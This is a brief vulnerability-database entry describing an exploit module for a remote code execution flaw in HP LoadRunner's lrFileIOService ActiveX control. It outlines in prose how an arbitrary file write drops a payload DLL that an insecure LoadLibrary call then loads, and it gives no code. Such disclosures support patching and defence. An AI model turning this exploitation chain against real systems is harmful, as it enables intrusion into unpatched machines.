🗓️ 01 Jul 2014 00:00:00Reported by RootType

HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution. Vulnerability in WriteFileString method allows user to write arbitrary files, dropping a payload in a dll, later loaded through the Init() method from the lrMdrvService control abusing an insecure LoadLibrary call. Exploited successfully on IE8 on Windows XP

        This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
        with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
        which allow the user to write arbitrary files. It&#39;s abused to drop a payload
        embedded in a dll, which is later loaded through the Init() method from the
        lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
        been tested successfully on IE8 on Windows XP. Virtualization based on the Low
        Integrity Process, on Windows Vista and 7, will stop this module because the DLL
        will be dropped to a virtualized folder, which isn&#39;t used by LoadLibrary.
